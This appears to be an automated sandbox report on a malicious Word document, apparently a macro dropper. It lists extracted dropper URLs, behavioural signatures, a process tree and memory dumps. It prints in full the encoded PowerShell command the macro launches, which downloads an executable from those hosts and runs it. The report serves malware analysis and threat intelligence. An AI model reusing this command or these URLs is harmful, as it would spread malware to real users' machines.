Analysis
- max time kernel
137s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
03/05/2024, 12:34
General
- Target 1087bb93735d32e8657c7da6b8096602_JaffaCakes118.doc
- Size 179KB
- Sample240503-pr7pfaed8x
- SHA256 d30150c62052607c9dd68065e9bf07da7c7490bdc0be48077a770b13f28d77b3
Malware Config
Extracted
-
ps1
-
exe.dropper
http://sasystemsuk.com/index_files/j9b/
-
exe.dropper
https://case.gonukkad.com/sys-cache/fmC/
-
exe.dropper
http://vandamebuilders.com/wp-includes/OEyjc9x/
-
exe.dropper
https://nilinkeji.com/online/Dmz/
-
exe.dropper
http://paganwitch.com/wp-admin/CmubpSk/
-
exe.dropper
http://www.ekramco.ir/english/fn/
-
exe.dropper
http://votesteve.us/closed_zone/Bk/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 7 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\1087bb93735d32e8657c7da6b8096602_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -en JABRAGcAbgB1AHoAawBxAD0AKAAnAFkAJwArACcAMgAnACsAKAAnAHIAdQBqAGUAJwArACcAYQAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAUgBQAFIATwBGAEkATABlAFwASgBIAEEAaQBOAEcARwBcAGUANwBwAFoANQBfAFcAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAEMAYABVAGAAUgBJAHQAYAB5AHAAUgBvAFQAbwBjAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAsACcAKQArACgAJwAgAHQAJwArACcAbABzADEAMQAnACkAKwAnACwAIAAnACsAJwB0AGwAJwArACcAcwAnACkAOwAkAEUANQBuADkAMQBzAGoAIAA9ACAAKAAoACcAVAAnACsAJwAxADQAJwApACsAJwBnAG4AJwArACcAMAAnACkAOwAkAFkAeQA5AGoAeAAyAHkAPQAoACgAJwBFAGkAJwArACcAdQAnACkAKwAnAGsAdAAnACsAJwBlADEAJwApADsAJABDADYAcABxAHMAZwBuAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAJwArACcAMAB9AEoAaAAnACsAKAAnAGEAJwArACcAaQBuAGcAJwApACsAJwBnAHsAMAB9AEUANwAnACsAJwBwAHoANQBfAHcAewAwAH0AJwApACAALQBmACAAWwBDAGgAYQBSAF0AOQAyACkAKwAkAEUANQBuADkAMQBzAGoAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABDADMANQBrAHcAMQB4AD0AKAAnAEIAJwArACgAJwA2AG4AJwArACcAOQAnACkAKwAoACcAZAAnACsAJwBnAHEAJwApACkAOwAkAEYANgBuAHIAbwBlADEAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQBUAC4AVwBFAEIAQwBMAGkAZQBuAFQAOwAkAEoAbABtAHgAbgB4AGMAPQAoACgAJwBoAHQAdAAnACsAJwBwADoAJwArACcALwAvACcAKQArACgAJwBzAGEAJwArACcAcwB5ACcAKQArACcAcwB0ACcAKwAoACcAZQBtACcAKwAnAHMAdQBrACcAKQArACgAJwAuAGMAJwArACcAbwBtACcAKQArACgAJwAvAGkAbgBkACcAKwAnAGUAJwArACcAeAAnACkAKwAoACcAXwBmACcAKwAnAGkAbABlACcAKQArACgAJwBzAC8AJwArACcAagAnACkAKwAnADkAJwArACgAJwBiAC8AKgBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwArACgAJwBzACcAKwAnADoALwAvACcAKQArACgAJwBjAGEAJwArACcAcwAnACsAJwBlAC4AZwBvACcAKQArACcAbgAnACsAJwB1ACcAKwAoACcAawBrAGEAZAAuAGMAJwArACcAbwAnACsAJwBtACcAKQArACcALwAnACsAKAAnAHMAJwArACcAeQBzACcAKQArACgAJwAtACcAKwAnAGMAYQAnACkAKwAnAGMAaAAnACsAKAAnAGUALwBmAG0AQwAvACcAKwAnACoAaAAnACkAKwAnAHQAJwArACgAJwB0ACcAKwAnAHAAOgAnACkAKwAnAC8AJwArACgAJwAvAHYAJwArACcAYQAnACkAKwAoACcAbgAnACsAJwBkAGEAJwApACsAKAAnAG0AJwArACcAZQBiAHUAJwApACsAJwBpACcAKwAnAGwAZAAnACsAKAAnAGUAJwArACcAcgBzACcAKQArACgAJwAuAGMAJwArACcAbwBtAC8AdwBwACcAKQArACcALQAnACsAJwBpACcAKwAoACcAbgBjAGwAdQAnACsAJwBkAGUAcwAvACcAKwAnAE8AJwApACsAJwBFAHkAJwArACcAagBjACcAKwAoACcAOQB4AC8AJwArACcAKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcABzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwBuAGkAbAAnACsAJwBpAG4AJwApACsAJwBrAGUAJwArACcAagAnACsAKAAnAGkAJwArACcALgBjAG8AbQAnACkAKwAoACcALwBvACcAKwAnAG4AbABpACcAKwAnAG4AZQAvACcAKQArACcARABtACcAKwAoACcAegAvACoAJwArACcAaAB0AHQAJwApACsAKAAnAHAAOgAvAC8AJwArACcAcABhACcAKQArACgAJwBnAGEAJwArACcAbgB3AGkAJwApACsAKAAnAHQAYwAnACsAJwBoAC4AJwApACsAKAAnAGMAbwBtAC8AdwAnACsAJwBwAC0AYQAnACkAKwAnAGQAJwArACcAbQBpACcAKwAoACcAbgAnACsAJwAvAEMAbQB1AGIAcABTACcAKwAnAGsAJwApACsAJwAvACcAKwAnACoAaAAnACsAJwB0AHQAJwArACcAcAA6ACcAKwAoACcALwAnACsAJwAvAHcAdwAnACsAJwB3AC4AZQBrACcAKQArACgAJwByACcAKwAnAGEAbQBjACcAKQArACcAbwAnACsAJwAuACcAKwAnAGkAcgAnACsAJwAvAGUAJwArACgAJwBuAGcAbAAnACsAJwBpAHMAaAAnACsAJwAvACcAKwAnAGYAbgAvACoAJwArACcAaAB0AHQAcAAnACkAKwAnADoALwAnACsAJwAvACcAKwAoACcAdgAnACsAJwBvAHQAZQBzAHQAJwApACsAKAAnAGUAJwArACcAdgBlAC4AdQBzAC8AJwApACsAKAAnAGMAJwArACcAbABvAHMAZQAnACkAKwAoACcAZAAnACsAJwBfAHoAbwAnACkAKwAoACcAbgBlAC8AJwArACcAQgAnACkAKwAnAGsALwAnACkALgAiAFMAcABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUwBuAHAAOAAyAGEANAA9ACgAKAAnAEgAXwAnACsAJwBrACcAKQArACcAbAAxACcAKwAnADUAcgAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABOAGIAcgBnAG8AbwBoACAAaQBuACAAJABKAGwAbQB4AG4AeABjACkAewB0AHIAeQB7ACQARgA2AG4AcgBvAGUAMQAuACIAZABPAFcAbgBMAE8AQQBEAEYAYABpAGAAbABFACIAKAAkAE4AYgByAGcAbwBvAGgALAAgACQAQwA2AHAAcQBzAGcAbgApADsAJABCAHkAMQBvAHUAegBoAD0AKAAoACcAQQAyACcAKwAnAGkAJwApACsAKAAnADQAJwArACcAbgAxACcAKQArACcAeQAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAQwA2AHAAcQBzAGcAbgApAC4AIgBMAEUAbgBgAEcAVABIACIAIAAtAGcAZQAgADIAMAAxADkAMwApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACgAJABDADYAcABxAHMAZwBuACkAOwAkAEQAdwBnADEANABsAGMAPQAoACgAJwBKAF8AJwArACcAdwBxACcAKQArACcAbABzACcAKwAnAGgAJwApADsAYgByAGUAYQBrADsAJABMADcAcQByAGIANwBhAD0AKAAnAEYANwAnACsAJwBhADQAJwArACgAJwBhACcAKwAnAGMAdgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASAB0AHcAaQBsAGgAagA9ACgAKAAnAFEAcQBnACcAKwAnADEAJwApACsAKAAnAHYAMwAnACsAJwAxACcAKQApAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
iso690.xsl
__PSScriptPolicyTest_dcwyojhc.0qr.ps1
memory/380-74-0x00007FF973770000-0x00007FF973965000-memory.dmp
memory/380-578-0x00007FF973770000-0x00007FF973965000-memory.dmp
memory/380-80-0x000001D39EC30000-0x000001D39EC52000-memory.dmp
memory/2664-7-0x00007FF973770000-0x00007FF973965000-memory.dmp
memory/2664-34-0x00007FF973770000-0x00007FF973965000-memory.dmp
memory/2664-8-0x00007FF973770000-0x00007FF973965000-memory.dmp
memory/2664-2-0x00007FF9337F0000-0x00007FF933800000-memory.dmp
memory/2664-9-0x00007FF973770000-0x00007FF973965000-memory.dmp
memory/2664-10-0x00007FF931080000-0x00007FF931090000-memory.dmp
memory/2664-11-0x00007FF973770000-0x00007FF973965000-memory.dmp
memory/2664-13-0x00007FF973770000-0x00007FF973965000-memory.dmp
memory/2664-15-0x00007FF973770000-0x00007FF973965000-memory.dmp
memory/2664-14-0x00007FF931080000-0x00007FF931090000-memory.dmp
memory/2664-12-0x00007FF973770000-0x00007FF973965000-memory.dmp
memory/2664-16-0x00007FF973770000-0x00007FF973965000-memory.dmp
memory/2664-19-0x00007FF973770000-0x00007FF973965000-memory.dmp
memory/2664-18-0x00007FF973770000-0x00007FF973965000-memory.dmp
memory/2664-17-0x00007FF973770000-0x00007FF973965000-memory.dmp
memory/2664-6-0x00007FF973770000-0x00007FF973965000-memory.dmp
memory/2664-35-0x00007FF973770000-0x00007FF973965000-memory.dmp
memory/2664-5-0x00007FF97380D000-0x00007FF97380E000-memory.dmp
memory/2664-3-0x00007FF9337F0000-0x00007FF933800000-memory.dmp
memory/2664-4-0x00007FF9337F0000-0x00007FF933800000-memory.dmp
memory/2664-0-0x00007FF9337F0000-0x00007FF933800000-memory.dmp
memory/2664-568-0x00007FF973770000-0x00007FF973965000-memory.dmp
memory/2664-569-0x00007FF973770000-0x00007FF973965000-memory.dmp
memory/2664-573-0x00007FF973770000-0x00007FF973965000-memory.dmp
memory/2664-1-0x00007FF9337F0000-0x00007FF933800000-memory.dmp
memory/2664-599-0x00007FF9337F0000-0x00007FF933800000-memory.dmp
memory/2664-600-0x00007FF9337F0000-0x00007FF933800000-memory.dmp
memory/2664-602-0x00007FF9337F0000-0x00007FF933800000-memory.dmp
memory/2664-601-0x00007FF9337F0000-0x00007FF933800000-memory.dmp
memory/2664-603-0x00007FF973770000-0x00007FF973965000-memory.dmp